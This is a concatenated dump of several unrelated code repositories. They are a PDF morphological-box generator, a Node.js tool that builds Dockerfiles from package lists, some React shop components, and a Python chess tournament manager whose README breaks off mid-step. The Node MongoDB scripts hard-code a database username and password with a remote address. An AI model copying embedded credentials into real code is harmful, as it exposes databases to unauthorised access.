.text-center { text-align: center; } .about-section { position: relative; } .about-content p { margin-bottom: 40px; } .section-padding { padding: 140px 0; } body { font-family: Roboto,sans-serif; } p { font-size: 18px; color: #555; line-height: 32px; font-weight: 300; margin: 0 0 10px; } h2 { font-size: 54px; color: #222; font-weight: 700; margin: 0 auto 30px; line-height: 1.1; } `}</style> ) module.exports = About
f59b03745c91828e7d3dc72ae6454864dffdaccf
[ "JavaScript" ]
1
JavaScript
hetmann/jsheroes.io
0fc7c5b2c6c01245bbf09cb57fc52ad5044bbef5
cec8a9f79defef17571fcfc14aa7e74b60d40385
refs/heads/master
<repo_name>filipecalegario/image-to-morphbox<file_sep>/minecart_example.py import minecart pdffile = open('sources/goodnotes_sample.pdf', 'rb') doc = minecart.Document(pdffile) page = doc.get_page(0) # for shape in page.shapes.iter_in_bbox((0, 0, 500, 500)): for shape in page.shapes: print(shape.path[0]) # im = page.images[0].as_pil() # requires pillow # im.show()<file_sep>/README.md # image-to-morphbox<file_sep>/analyze_pdf.py from pdfrw import PdfReader x = PdfReader('sources/after_illustrator_sample.pdf') # print(x.pages[0].Contents.stream) root_dict = x['/Root'] for some in x: print(some, x[some])<file_sep>/debug/debug_image.py from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import A4, landscape c = canvas.Canvas("debug/debug.pdf", bottomup=0, pagesize=landscape(A4)) c.saveState() c.translate(100, 100) c.scale(1,-1) # c.drawImage(img_path, 0, 0, width=-width, height=-height, mask='auto') c.drawImage(f'processed/clip0.jpg', x=0, y=0, width=100, height=100, preserveAspectRatio=True, anchor='c') c.restoreState() c.save()<file_sep>/image_to_morphbox.py from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import A4, landscape from reportlab.pdfbase.pdfmetrics import stringWidth from reportlab.lib.units import mm categories = {} font_size = 10 main_font = 'Helvetica' main_font_bold = main_font + '-Bold' def text_to_dict(): f = open('input.txt') for line in f: line = line.rstrip().split(':') category = line[0].strip() values = line[1].split(',') values = list(filter(None, values)) values = [x.strip() for x in values] categories[category] = values def calculate_max_title_width(): max_title_width = 0; for names in categories: current_width = stringWidth(names, main_font_bold, font_size) if current_width > max_title_width: max_title_width = current_width return max_title_width def build_morphbox(): text_to_dict() # print(categories) c = canvas.Canvas("output.pdf", bottomup=0, pagesize=landscape(A4)) c.setFont(main_font, font_size) # c.setDash(1,2) height, width = A4 margin_horizontal = 10*mm margin_vertical = 10*mm width = width - margin_horizontal*2 height = height - margin_vertical*2 cell_height = height / len(categories) title_cell_width = calculate_max_title_width() + 10 index_y = 0 for category in categories: cell_width = (width - title_cell_width) / len(categories[category]) c.rect(margin_horizontal, margin_vertical + index_y*cell_height, title_cell_width, cell_height) c.setFont(main_font_bold, font_size) c.drawString(margin_horizontal + 5, margin_vertical + (index_y*cell_height)+cell_height/2+5, category) c.setFont(main_font, font_size) list_of_values = categories[category] for i in range(len(list_of_values)): label = list_of_values[i] img_x = margin_horizontal + title_cell_width + i*cell_width# + cell_width img_y = margin_vertical + index_y*cell_height# + cell_height c.saveState() c.translate(img_x, img_y) c.scale(1,-1) c.drawImage(f'processed/clip{label}.jpg', x=cell_width, y=0, width=-cell_width, height=-cell_height, preserveAspectRatio=True, anchor='c') c.restoreState() c.rect(margin_horizontal + title_cell_width+i*cell_width, margin_vertical + index_y*cell_height, cell_width, cell_height) text_width = stringWidth(label, main_font, font_size) #c.drawString(margin_horizontal + title_cell_width+i*cell_width+cell_width/2.0 - text_width/2.0, margin_vertical + index_y*cell_height+cell_height/2.0+5, label) # c.drawCentredString(title_cell_width+i*cell_width+cell_width/2.0, index_y*cell_height+cell_height/2.0, label) index_y = index_y + 1 c.save() <file_sep>/extract_vector.py import sys import os from pdfrw import PdfReader, PdfWriter from pdfrw.findobjs import page_per_xobj inpfn = 'sources/after_illustrator_sample.pdf'#sys.argv[1:] outfn = 'extract.' + os.path.basename(inpfn) pages = list(page_per_xobj(PdfReader(inpfn).pages, margin=0.5*72)) if not pages: raise IndexError("No XObjects found") writer = PdfWriter(outfn) writer.addpages(pages) writer.write()<file_sep>/main.py from images_from_template import slice_main_template from image_to_morphbox import build_morphbox slice_main_template() build_morphbox()<file_sep>/images_from_template.py import cv2 import math def convert_dimension_pdf_img(num_pdf): return int(math.ceil((3086/841.89)*num_pdf)) def convert_dimension_img_pdf(num_img): return (841.89/3086)*num_img def slice_main_template(): columns = 7 rows = 5 image = cv2.imread(filename = "sources/icons-nobg.jpg") subimg_width = convert_dimension_pdf_img(120.27) subimg_height = convert_dimension_pdf_img(84.206) initial_p_x = convert_dimension_pdf_img(0) initial_p_y = convert_dimension_pdf_img(139.075) counter = 0 for y in range(5): for x in range(7): cur_x = (initial_p_x + subimg_width * x) cur_y = (initial_p_y + subimg_height * y) print(cur_x,cur_y) end_x = cur_x + subimg_width end_y = cur_y + subimg_height clip = image[cur_y:end_y, cur_x:end_x, :] cv2.imwrite(filename = f'processed/clip{counter}.jpg', img = clip) counter = counter + 1 slice_main_template()
ad124a6d592480fac631554a06c5e5f922a4b4ae
[ "Markdown", "Python" ]
8
Python
filipecalegario/image-to-morphbox
ccd19fe8b15ef386e70d731c3ae2a97f677074d1
98e1c3148a5541f5365a56856618a2611c7f5424
refs/heads/master
<file_sep>const dockerPackages = require('./dockerPackage.json'); const { autoMakeDockerfile } = require('./autoMakeDockerfile'); const fs = require('fs'); describe('Hello, jest!', () => { it('the first jest program', () => { expect('Hello, world!').toEqual(expect.stringContaining('world')); }); it('Hello, fs!', () => { let testData; fs.readFile('./package.json', (err, data) => { if (err) throw err; testData = data.toString(); expect(testData).toEqual(expect.stringContaining('keywords')); }); }); }); describe('test autoMakeDockerfile module', () => { const testRecipe = ["CentOS", "g++", "hello"]; autoMakeDockerfile(testRecipe, dockerPackages); it('test whether generating correct dockerfile', () => { fs.readFile('./Dockerfile', (err, data) => { if (err) throw err; const fileContent = data.toString(); expect(fileContent).toEqual(expect.stringContaining('FROM')); expect(fileContent).toEqual(expect.stringContaining('RUN')); expect(fileContent).toEqual(expect.stringContaining('centos')); expect(fileContent).toEqual(expect.stringContaining('yum')); }); }); }); <file_sep>import React from 'react'; import { Button, Card, CardText, CardBody, CardTitle, CardSubtitle, } from 'reactstrap'; import 'bootstrap/dist/css/bootstrap.css'; export default ({ goods, addProductToCart, alreadyBought }) => { return ( <Card style={{ margin: '2pt' }} > <CardBody style={{ textAlign: 'left' }}> <CardTitle style={{ textAlign: 'center', fontSize: '20pt', fontWeight: 'bold' }}> {goods.title} </CardTitle> <CardSubtitle style={{ fontSize: '14pt', fontWeight: 'bold' }}> {goods.subtitle} </CardSubtitle> <CardText> {goods.text} </CardText> <Button onClick={() => addProductToCart(goods)} disabled={alreadyBought}>Buy</Button> </CardBody> </Card> ); };<file_sep>const mongoose = require('mongoose'); const fs = require('fs'); const dbRoute = 'mongodb://visitor:123456@192.168.127.12:27017/softwareMarket'; mongoose.connect(dbRoute, { useNewUrlParser: true, useUnifiedTopology: true }); mongoose.connection.on('connected', function () { console.log("connected to the database"); var ProgressModel = mongoose.model('autobuild_event_state', new mongoose.Schema({ "name": { type: String, require: true }, "triggerTime": String, "sourceUpdate": Boolean, "scriptUpdate": Boolean, "fetch": Boolean, "build": Boolean, "commit": Boolean, "version": String, "lastUpdate": String, "lastSuccessfulUpdate": String })); const p_content_s = { name: "Centos" }; search(p_content_s, {}, ProgressModel, "progress", "Progress file written!"); function search(content, field, model, filename, info) { model.find(content, field, function (err, result) { if (err) { console.log(err); } else { let str = JSON.stringify(result[0], null, "\t") fs.writeFile("./" + filename + ".json", str, function (err) { if (err) { console.log(err) } console.log(info) }) } }); }; }); mongoose.connection.then(() => mongoose.disconnect()); mongoose.connection.catch(err => console.log('cannot connect')); <file_sep>FROM centos RUN yum install -y centos-release-scl && yum install -y devtoolset-9-gcc devtoolset-9-gcc-c++ && scl enable devtoolset-9 bash RUN make && make clean <file_sep>import React from 'react'; import { Modal, ModalHeader, ModalBody, ModalFooter, Button, Table } from 'reactstrap'; export default ({ show, toggle, BoughtItems, deleteAnItem }) => { return ( <Modal isOpen={show}> <ModalHeader>購物車</ModalHeader> <ModalBody> <Table> <thead> <tr> <th>#</th> <th>品項</th> </tr> </thead> <tbody> {BoughtItems.map((anItem, index) => { return ( <tr key={index}> <th scope="row">{index + 1}</th> <td>{anItem.title}</td> <td><Button color="danger" onClick={() => deleteAnItem(index)}> X</Button>{' '} </td> </tr>); })} </tbody> </Table> </ModalBody> <ModalFooter> <Button color="primary" onClick={toggle} disabled={BoughtItems.length === 0}> 確認購買</Button>{' '} <Button color="secondary" onClick={toggle}>返回</Button> </ModalFooter> </Modal>); };<file_sep>const mongoose = require('mongoose'); const express = require('express'); const cors = require('cors'); const bodyParser = require('body-parser'); const logger = require('morgan'); const fs = require('fs'); const { SearchSource } = require('jest'); const dbRoute = 'mongodb://visitor:123456@172.16.58.3:27017/softwareMarket'; mongoose.connect(dbRoute, { useNewUrlParser: true, useUnifiedTopology: true }); mongoose.connection.on('connected', function () { console.log("connected to the database"); //mongodb的表格名稱最後要加s, mongoose的表格名稱要少一個s var Model = mongoose.model('software_data', new mongoose.Schema({ "name": { type: String, require: true }, "domain": { type: String }, "category": { type: String }, "sub category": { type: String }, "version": { type: String }, "description": { type: String }, "parallelized": { type: Boolean }, "accelerator_support": { type: Boolean }, "platform": { type: String }, "virtualized": { type: String }, "recipe": { type: String }, "last successful update": { type: String }, "web site": { type: String }, "citation": { type: String } })); // //Insert // const content_i = { "name": "Centos", "domain": "public", "version": "8.0.1905", "web site": "https://wiki.centos.org/FrontPage"} // const stuffInsert = new Model(content_i) // stuffInsert.save(function(err){ // if(err){ // console.log(err) // }else{ // console.log("Successfully inserted the data") // } // }); //Search const content_s = { name: "Mysql" }; search(content_s, {}, Model, "result", "Software data file written!"); function search(content, field, model, filename, info) { model.find(content, field, function (err, result) { if (err) { console.log(err); } else { let str = JSON.stringify(result[0],null,"\t") fs.writeFile("./" + filename + ".json", str, function (err) { if (err) { console.log(err) } console.log(info) }) } }); }; }); // foo().then() mongoose.connection.then(() => mongoose.disconnect()); mongoose.connection.catch(err => console.log('cannot connect')); <file_sep>const util = require('util'); const exec = util.promisify(require('child_process').exec); const convertPackageArrayToDockerCommandArray = (aPackageArray, aJsonFile) => { return aPackageArray.map(element => { if (aPackageArray.indexOf(element) === 0) return aJsonFile.base[element]; else return aJsonFile.packages[element]; }); }; const removeSubArray = (anArray) => { let dealtArray = []; anArray.forEach(async element => { if (Array.isArray(element)) await element.forEach(subArrayElement => dealtArray.push(subArrayElement)); else await dealtArray.push(element); }); return dealtArray; }; module.exports = { autoMakeDockerfile: async (aSelectedPackageArray, aDockerCommandArray) => { try { const aDockerCommandArrayWithSubArray = await convertPackageArrayToDockerCommandArray(aSelectedPackageArray, aDockerCommandArray); const aDockerCommandArrayWithoutSubArray = await removeSubArray(aDockerCommandArrayWithSubArray); const dockerfile = "Dockerfile"; aDockerCommandArrayWithoutSubArray.forEach( async element => { if (aDockerCommandArrayWithoutSubArray.indexOf(element) === 0) await exec(`echo 'FROM ${element}' > ./${dockerfile}`) .catch(err => console.log(err)); else await exec(`echo 'RUN ${element}' >> ./${dockerfile}`) .catch(err => console.log(err)); }); } catch (err) { console.error(err); } } }; <file_sep># About This Project 國網中心的軟體市集後端,使用 node.js 與 mongoDB。 ## Usage - `autoMakeDockerfile.js` 這個檔案 export 一個同名模組(`autoMakeDockerfile(aSelectedPackageArray, aJsonFile)`)。其中 `aJsonFile` 分成兩部分,`base` 對應到 Dockerfile 的 `FROM <image>`,`packages` 則會有一系列的套件及其對應的安裝指令。 只要給定一個 array (`aSelectedPackageArray`),其第 1 個元素(array[0])屬於 `aJsonFile.base`,其他元素均屬於 `aJsonFile.packages`,這個 module 就會產生一個第一行是 `FROM <image>`、第二行以後是 `RUN <commands>` 的 Dockerfile。 `aJsonFIle` 的範例可見 `dockerPackage.json`,預期會是從 DB query 出來的 json object,`autoMakeDockerfile.test.js` 中有使用範例。 - `status.js` 這個檔案會使用帳號為visitor、密碼為123456的身分連接softwareMarket資料庫,產生紀錄軟體狀態的`progress.json`。 - `softwareData.js` 這個檔案會使用帳號為visitor、密碼為123456的身分連接softwareMarket資料庫,產生紀錄軟體資訊的`result.json`。
6b77b96648b1b7d2b84b3053a882536963c2d0b0
[ "JavaScript", "Dockerfile", "Markdown" ]
8
JavaScript
JP-Cheng/NCHC_software_market
34b221237c29e5a70c01c7e0635a645dcf9c1518
4107133d59a6de9ea4f28f5d1fd926705268a6d5
refs/heads/main
<file_sep>import os from tinydb import TinyDB, Query from .player import Player class PlayerDb: """""" def __init__(self): """""" self.db = TinyDB(os.getcwd()+'\\app\\dbjson\\players.json') self.query = Query() self.playersTable = self.db.table('players') self.demoPlayerTable = self.db.table('demo') def return_demo(self): """ :return: return list of demo players """ playerlist = [] for players in self.demoPlayerTable.all(): lname = players['lname'].capitalize() fname = players['fname'].capitalize() bdate = players['bdate'] genre = players['genre'] elo = players['elo'] playerlist.append(Player(fname, lname, bdate, genre, elo)) return playerlist def return_players(self): """ :return: return list of all players in player table """ playerlist = [] for players in self.playersTable.all(): lname = players['lname'].capitalize() fname = players['fname'].capitalize() bdate = players['bdate'] genre = players['genre'] elo = players['elo'] playerlist.append(Player(fname, lname, bdate, genre, elo)) return playerlist def get_player_by_id(self, pid): """ :param pid: player ID :return: player objects, based on pid search """ cond1 = self.query.id == pid search1 = self.playersTable.search(cond1)[0] lname = search1['lname'].capitalize() fname = search1['fname'].capitalize() bdate = search1['bdate'] genre = search1['genre'] elo = search1['elo'] playerbyid = Player(fname, lname, bdate, genre, elo) return playerbyid class TournamentDb: """""" def __init__(self): """""" self.db = TinyDB(os.getcwd()+'\\app\\dbjson\\tournament.json') self.query = Query() self.tournament = self.db.table('tournament') self.rounds = self.db.table('rounds') self.matches = self.db.table('matches') def get_tournament_id(self, tournament): """ :param tournament: tournament object :return: returns ID corresponding to tournament object search ( name, place, date ) """ cond1 = self.query.name == tournament.name.lower() cond2 = self.query.place == tournament.place.lower() cond3 = self.query.date == tournament.date search1 = self.tournament.search(cond1 & cond2 & cond3) return search1[0]['id'] def return_player_tournament(self, tourid): """ :param tourid: tournament ID :return: returns playerIDs corresponding to tour ID """ search1 = self.query.tournament == tourid search2 = self.query.round == 0 pidlist = [] for item in self.matches.search(search1 & search2): pidlist.append(item['player1']) pidlist.append(item['player2']) return pidlist def return_all_tournaments_id(self): """ :return: all tournaments """ touridlist = [] for tournament in self.tournament.all(): touridlist.append(tournament['id']) return touridlist def return_unfinished_tourids(self): """ :return: tournament ID of tournament with less than 16 matches """ tourids = [] unfinished_tourids = [] for tournament in self.tournament.all(): tourids.append(tournament['id']) for tourid in tourids: search1 = self.query.tournament == tourid matchlist = [] for item in self.matches.search(search1): matchlist.append(item) if len(matchlist) < 16: unfinished_tourids.append(tourid) return unfinished_tourids def tourid_to_tour(self, touridlist): tourlist = [] for tourid in touridlist: cond1 = self.query.id == tourid search1 = self.tournament.search(cond1)[0] name = search1['name'].capitalize() place = search1['place'].capitalize() date = search1['date'] timetype = search1['timeType'] desc = search1['description'] tourlist.append((name, place, date, timetype, desc)) return tourlist def return_rounds(self, tourid): """ :param tourid: tournament ID :return: rounds corresponding to the tourid """ search1 = self.query.tournament == tourid roundlist = [] for rounds in self.rounds.search(search1): round_id = rounds['id'] tournament_id = rounds['tournament'] name = rounds['name'].capitalize() roundlist.append((round_id, tournament_id, name)) return roundlist def return_all_matches(self, tourid): """ :param tourid: tournament ID :return: matches corresponding to the tourid ( p1, p2, r1, r2) """ search1 = self.query.tournament == tourid matchlist = [] for item in self.matches.search(search1): player1 = item['player1'] player2 = item['player2'] result1 = item['result1'] result2 = item['result2'] matchlist.append([player1, player2, result1, result2]) return matchlist def where_were_we(self, tourid): """ :param tourid: tournament id :return: the round where the unfinished tournament is at and deletes and empty round if there is one """ search1 = self.query.tournament == tourid total_matches = int(len(self.matches.search(search1))/4) total_rounds = len(self.rounds.search(search1)) if total_rounds != total_matches: roundnumber = total_rounds-1 self.del_last_round(tourid, roundnumber) else: roundnumber = total_rounds return roundnumber def del_last_round(self, tourid, roundid): """ :param tourid: tournament id :param roundid: round id :return: deletes an empty round """ cond1 = self.query.tournament == tourid cond2 = self.query.id == roundid self.rounds.remove((cond1) & (cond2)) <file_sep>class Input: """""" def __init__(self, view): """ :param view: input views """ self.inputview = view def choice_main_menu(self): self.inputview.main_menu() choice = input() choicelist = ['a', 'b', 'c', 'd', 'x'] while choice not in choicelist: choice = input() index = choicelist.index(choice) return index def tournament_attr_inputs(self): """ :return: """ self.inputview.tour_name() name = input() self.inputview.tour_place() place = input() # date builder, with exception catcher jdate = -2 self.inputview.tour_date() while jdate > 31 or jdate <= 0: try: self.inputview.day() jdate = int(input()) except ValueError: self.inputview.expected_number() mdate = -2 while mdate > 12 or mdate <= 0: try: self.inputview.month() mdate = int(input()) except ValueError: self.inputview.expected_number() ydate = -2 while ydate > 2500 or ydate <= 0: try: self.inputview.year() ydate = int(input()) except ValueError: self.inputview.expected_number() if mdate < 10: mdate = f"0{mdate}" if jdate < 10: mdate = f"0{mdate}" tdate = "/".join([str(jdate), str(mdate), str(ydate)]) # time Type choice list self.inputview.timetype_list() to_list = ['Bullet', 'Blitz', 'Coup Rapide'] choice_list = [1, 2, 3] timetype = None while timetype not in choice_list: timetype = int(input()) timetype = to_list[timetype - 1] # description self.inputview.tour_description() description = input() return name, place, tdate, timetype, description def add_players(self): """ :return: input of player type for tournament """ self.inputview.add_player_menu() choicelist = ['a', 'b'] players = None while players not in choicelist: players = input().lower() return players def enter_results(self, matches): """ :param matches: matches just played :return: input of results to enter """ results = [] choice = None choicelist = ['a', 'b', 'c'] for match in matches: player1 = match[0][0].lastName player2 = match[1][0].lastName self.inputview.enter_match_results(player1, player2) while choice not in choicelist: choice = input().lower() results.append(choice) choice = None return results def edit_players_menu(self): """ :return: menu choice """ self.inputview.player_manage_menu() choicelist = ['a', 'b', 'm'] choice = None while choice not in choicelist: choice = input().lower() index = choicelist.index(choice) return index def show_players_edit(self, players): """ :param players: players object :return: list of players, to choose from """ choicelist = ['m'] choice = None for jj in range(0, len(players)+1): choicelist.append(str(jj)) ii = 1 self.inputview.pick_player_edit() for player in players: lname = player.lastName fname = player.firstName elo = player.elo self.inputview.player_edit_list(ii, fname, lname, elo) ii += 1 self.inputview.return_player_menu() while choice not in choicelist: choice = input().lower() return choice def edit_elo(self, player): """ :param player: player to edit elo from :return: input of new elo for player """ lname = player.lastName fname = player.firstName elo = player.elo new_elo = -1 self.inputview.edit_player_elo(fname, lname, elo) while new_elo < 0 or new_elo > 3500: try: new_elo = int(input()) except ValueError: self.inputview.expected_number() return new_elo def add_player_view(self): """ :return: list of attributes to save new Player """ self.inputview.player_first_name() fname = input() self.inputview.player_last_name() lname = input() # date builder, with exception catcher jdate = -2 self.inputview.player_birthdate() while jdate > 31 or jdate <= 0: try: self.inputview.day() jdate = int(input()) except ValueError: self.inputview.expected_number() mdate = -2 while mdate > 12 or mdate <= 0: try: self.inputview.month() mdate = int(input()) except ValueError: self.inputview.expected_number() ydate = -2 while ydate > 2500 or ydate <= 0: try: self.inputview.year() ydate = int(input()) except ValueError: self.inputview.expected_number() if mdate < 10: mdate = f"0{mdate}" if jdate < 10: mdate = f"0{mdate}" bdate = "/".join([str(jdate), str(mdate), str(ydate)]) # Genre and elo self.inputview.player_genre() genre = input('') elo = 3200 while elo > 3100 or elo <= 0: try: self.inputview.player_elo() elo = int(input()) except ValueError: self.inputview.expected_number() return fname, lname, bdate, genre, elo def continue_adding(self): """ :return: input yes / no to continue adding players or not """ choice = None choicelist = ['y', 'n'] self.inputview.continue_adding_choice() while choice not in choicelist: choice = input().lower() return choice def reports_menu(self): """ :return: input of menu to go to """ choicelist = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'm'] choice = None self.inputview.reports_menu_list() while choice not in choicelist: choice = input().lower() index = choicelist.index(choice) return index def tournament_choice_picker(self, tournaments): """ :param tournaments: list of tournaments :return: a list of tournaments choice picker """ choicelist = ['m'] choice = None for jj in range(0, len(tournaments)): choicelist.append(str(jj)) tcount = 0 self.inputview.tournament_choice() for tournament in tournaments: name = tournament[0] place = tournament[1] date = tournament[2] timetype = tournament[3] self.inputview.show_tournament_picker(tcount, place, date, name, timetype) tcount += 1 self.inputview.return_main_menu() while choice not in choicelist: choice = input().lower() if choice == "m": return choice else: return int(choice) def player_choice_picker(self, playerlist): """ :param playerlist: list of players :return: input of chosen player ID's ( 8 ) """ inputs = [] picker = -10 pcount = 0 while len(inputs) < 8: for player in playerlist: try: picker = -10 lname = player.lastName fname = player.firstName elo = player.elo pcount = player.get_player_id() self.inputview.show_player_picker(pcount, fname, lname, elo) except AttributeError: self.inputview.show_player_chosen(player) while picker < 0 or picker > pcount: try: picker = int(input()) except ValueError: self.inputview.expected_number() picker = -10 if picker in inputs: self.inputview.player_already_chosen() else: inputs.append(picker) playerlist[picker] = f"[{picker}] : Already Chosen" return inputs <file_sep>class InputViews: """""" @staticmethod def main_menu(): """ :return: menu view """ print('\nWelcome!\n' 'Chess Tournament Menu :\n' '[A] New Tournament\n' '[B] Resume Tournament\n' '[C] Players Management\n' '[D] Reports\n' '[X] Quit') @staticmethod def return_main_menu(): """ :return: use to return to main menu """ print('[M] : Return to Main Menu') @staticmethod def tour_name(): """ :return: use when asking for tournament name """ print("Tournament name :") @staticmethod def tour_place(): """ :return: use when asking for tournament place """ print("Tournament place :") @staticmethod def tour_date(): """ :return: use when asking for tournament date """ print("Tournament date : ") @staticmethod def day(): """ :return: use when asking for day """ print("Day :") @staticmethod def month(): """ :return: use when asking for month """ print("Month :") @staticmethod def year(): """ :return: use when asking for year """ print("Year :") @staticmethod def timetype_list(): """ :return: use when asking for tournament timetype """ print("Tournament TimeType :\n" "[1]Bullet - [2]Blitz - [3]Coup Rapide") @staticmethod def tour_description(): """ :return: use when asking for tournament description """ print("Tournament description :") @staticmethod def expected_number(): """ :return: use with value error, expected a int """ print("Expected a number") @staticmethod def add_player_menu(): """ :return: inserting players to tournament view """ print("Add Players to tournament :") print("A: Add 8 Pre-selected Player ( demo )\n" "B: Pick 8 Players") @staticmethod def enter_match_results(player1, player2): """ :param player1: player 1 from match :param player2: player 2 from match :return: a view to enter the results of a match """ fstring = f"Winner : {player1} [A] or [B] {player2}" \ f"\nDraw : [C]" print(fstring) @staticmethod def player_manage_menu(): """ :return: player management menu """ print('\n\nPlayer Management Menu:\n' '[A] Add new Player\n' '[B] Edit Player Elo\n' '[M] Return to Main Menu') @staticmethod def pick_player_edit(): """ :return: player picking menu """ print("\n\nPick which player you want to edit :") @staticmethod def player_edit_list(ii, fname, lname, elo): """ :param ii: player index, to choose from :param fname: player first name :param lname: player last name :param elo: player elo :return: player description """ fstring = f"[{ii}] : {fname} {lname} - Elo = {elo}" print(fstring) @staticmethod def return_player_menu(): """ :return: return to main menu view """ print('[M] : Return to Player Edit Menu\n') @staticmethod def edit_player_elo(fname, lname, elo): """ :param fname: player first name :param lname: player last name :param elo: player elo :return: player elo edition menu """ fstring = f"{fname} {lname} - Elo = {elo}" \ f"\nChoose new elo (min : 0, max : 3500) : " print(fstring) @staticmethod def player_add_menu(): """ :return: use for player addition menu """ print('Player addition menu : \n') @staticmethod def player_first_name(): """ :return: use to ask for player first name """ print('First Name :') @staticmethod def player_last_name(): """ :return: use to ask for player last name """ print('Last name : ') @staticmethod def player_birthdate(): """ :return: use to ask for player birthdate """ print("Birth Date : ") @staticmethod def player_genre(): """ :return: use to ask for player genre """ print("Genre :") @staticmethod def player_elo(): """ :return: use to ask for player elo """ print("Elo :") @staticmethod def continue_adding_choice(): """ :return: view to add another player or not """ print('Would like to add another player?' '\n[Y]es/[N]o\n') @staticmethod def reports_menu_list(): """ :return: report menu choice view """ print('List all players :\n' ' [A] : Alphabetical sort\n' ' [B] : Elo sort\n\n' 'List all players in one tournament :\n' ' [C] : Alphabetical sort\n' ' [D] : Elo sort\n\n' '[E] List all tournaments\n' '[F] List all rounds in one tournament\n' '[G] List all matches in one tournament\n' '[M] Return to main menu') @staticmethod def tournament_choice(): """ :return: use when start the tournament picker """ print("\n Pick one tournament :") @staticmethod def show_tournament_picker(tcount, place, date, name, timetype): """ :param tcount: tournament index in tournament list :param place: tournament place :param date: tournament date :param name: tournament name :param timetype: tournament timetype :return: a view of a tournament """ fstring = f"[{tcount}] : {place} {date}" \ f" - {name} - {timetype}" print(fstring) @staticmethod def show_player_picker(pcount, fname, lname, elo): """ :param pcount: player index in player list :param fname: player first name :param lname: player last name :param elo: player elo :return: a view of a player """ fstring = f"[{pcount}] : {fname} {lname} - Elo = {elo}" print(fstring) @staticmethod def show_player_chosen(chosen): """ :param chosen: Chosen player :return: a view of a chosen player """ print(chosen) @staticmethod def player_already_chosen(): """ :return: """ print("\nPlayer already in picked in the list of players\n" "Choose Another One\n") <file_sep>from datetime import datetime from ..models import managedb class Round: """""" def __init__(self, name, matcheslist): """ :param name: round name :param matcheslist: matches in the round """ self.name = name self.matches = matcheslist self.startTime = datetime.now().strftime("%d/%m/%Y %H:%M:%S") self.endTime = '' self.rdb = managedb.TournamentDb() def enter_scores(self, results): """ :param results: results to enter in match :return: matches, with results, with end time """ ii = 0 for result in results: if result == "a": self.matches[ii][0][1] = 1 self.matches[ii][1][1] = 0 elif result == "b": self.matches[ii][0][1] = 0 self.matches[ii][1][1] = 1 else: self.matches[ii][0][1] = 0.5 self.matches[ii][1][1] = 0.5 ii += 1 self.endTime = datetime.now().strftime("%d/%m/%Y %H:%M:%S") def insert_round(self, tournament, index): """ :param tournament: which tournament the round is played in :param index: which round it is :return: inserts round in db """ theround = tournament.tournees[index] thetournament = self.rdb.get_tournament_id(tournament) ser_round = { 'id': index, 'tournament': thetournament, 'name': theround.name } cond1 = self.rdb.query.tournament == '' cond2 = self.rdb.query.count == index search1 = self.rdb.rounds.search(cond1 & cond2) if not search1: self.rdb.rounds.insert(ser_round) def insert_matches(self, tournament, indexr): """ :param tournament: which tournament the match is played in :param indexr: which round the match is played in :return: inserts match in db """ jj = 0 for match in self.matches: p1 = match[0][0] p2 = match[1][0] r1 = match[0][1] r2 = match[1][1] thetournament = self.rdb.get_tournament_id(tournament) ser_match = { 'id': jj, 'round': indexr, 'tournament': thetournament, 'player1': p1.get_player_id(), 'result1': r1, 'player2': p2.get_player_id(), 'result2': r2 } self.rdb.matches.insert(ser_match) jj += 1 <file_sep>from ..models import managedb class Player: """""" def __init__(self, fname, lname, bday, genre, elo): """ :param fname: player first name :param lname: player last name :param bday: player birth date :param genre: player genre :param elo: player elo score """ self.firstName = fname self.lastName = lname self.bDay = bday self.genre = genre self.elo = elo self.db = managedb.PlayerDb() self.insert_player() def insert_player(self): """ :return: inserts players in DB, with ID """ index = self.db.playersTable.__len__() ser_p1 = { 'id': index, 'lname': self.lastName.lower(), 'fname': self.firstName.lower(), 'bdate': self.bDay, 'genre': self.genre, 'elo': self.elo } cond1 = (self.db.query.lname == self.lastName.lower()) cond2 = (self.db.query.fname == self.firstName.lower()) cond3 = (self.db.query.bdate == self.bDay) search1 = self.db.playersTable.search(cond1 & cond2 & cond3) if not search1: self.db.playersTable.insert(ser_p1) def modify_elo(self, elo): """ :param elo: new elo :return: updates DB with new player elo """ cond1 = (self.db.query.lname == self.lastName.lower()) cond2 = (self.db.query.fname == self.firstName.lower()) cond3 = (self.db.query.bdate == self.bDay) self.db.playersTable.update({'elo': elo}, cond1 & cond2 & cond3) def get_player_id(self): """ :return: player ID """ cond1 = (self.db.query.lname == self.lastName.lower()) cond2 = (self.db.query.fname == self.firstName.lower()) cond3 = (self.db.query.bdate == self.bDay) search1 = self.db.playersTable.search(cond1 & cond2 & cond3) return search1[0]['id'] <file_sep>from ..models import managedb class Tournament: """""" def __init__(self, name, place, date, timetype, desc): """ :param name: tournament name :param place: tournament location :param date: tournament date (dd/mm/yyyy) :param timetype: tournament chess time type :param desc: tournament description """ self.name = name self.place = place self.date = date self.turns = 4 self.tournees = [] self.players = [] self.timeType = timetype self.description = desc self.tdb = managedb.TournamentDb() def insert_tournament(self): """ :return: insert tournament in DB """ index = self.tdb.tournament.__len__() ser_tournament = { 'id': index, 'name': self.name.lower(), 'place': self.place.lower(), 'date': self.date, 'turns': self.turns, 'timeType': self.timeType, 'description': self.description } for tours in self.tdb.tournament.all(): cond1 = tours['name'] == self.name.lower() cond2 = tours['place'] == self.place.lower() cond3 = tours['date'] == self.date if cond1 and cond2 and cond3: return None else: self.tdb.tournament.insert(ser_tournament) return 1 def sort_by_score(self): """ :return:sorts players in tournament instance by score """ scoreboard = [] for player in self.players: pscore = [player, 0] for turns in self.tournees: for match in turns.matches: if player in match[0]: pscore[1] += match[0][1] if player in match[1]: pscore[1] += match[1][1] scoreboard.append(pscore) sortedscoreboard = sorted(scoreboard, key=lambda score: (score[1], score[0].elo), reverse=True) return sortedscoreboard def does_match_exist(self, new_match): for turns in self.tournees: for old_match in turns.matches: p_old = (old_match[0][0], old_match[1][0]) p1_new = new_match[0][0] p2_new = new_match[1][0] if p1_new in p_old and p2_new in p_old: return True else: return False def sort_by_elo(self): """ :return: sorts players in tournament instance by score """ sortedlist = sorted(self.players, key=lambda elosort: elosort.elo) return sortedlist <file_sep> # P4MVC ## Introduction This python project is a swiss-system chess tournament manager. Any tournament or player is registered in a json file using TinyDB. It can be split in 4 parts : -The user creates or uses 8 existing players and starts a tournament, looping through the 4 ( or more ) matches -The user resumes an unfinished tournament -The user edits existing players in the databse -The use generates various reports( for instance : show all existing tournaments ) from the saved data ## Install 1.Download the github project, unzip it in the folder of your choosing 2.Using a terminal, place yourself in the project folder and create a virtual environnement using : `python -m venv env` 3.Activate the virtual environnement using : 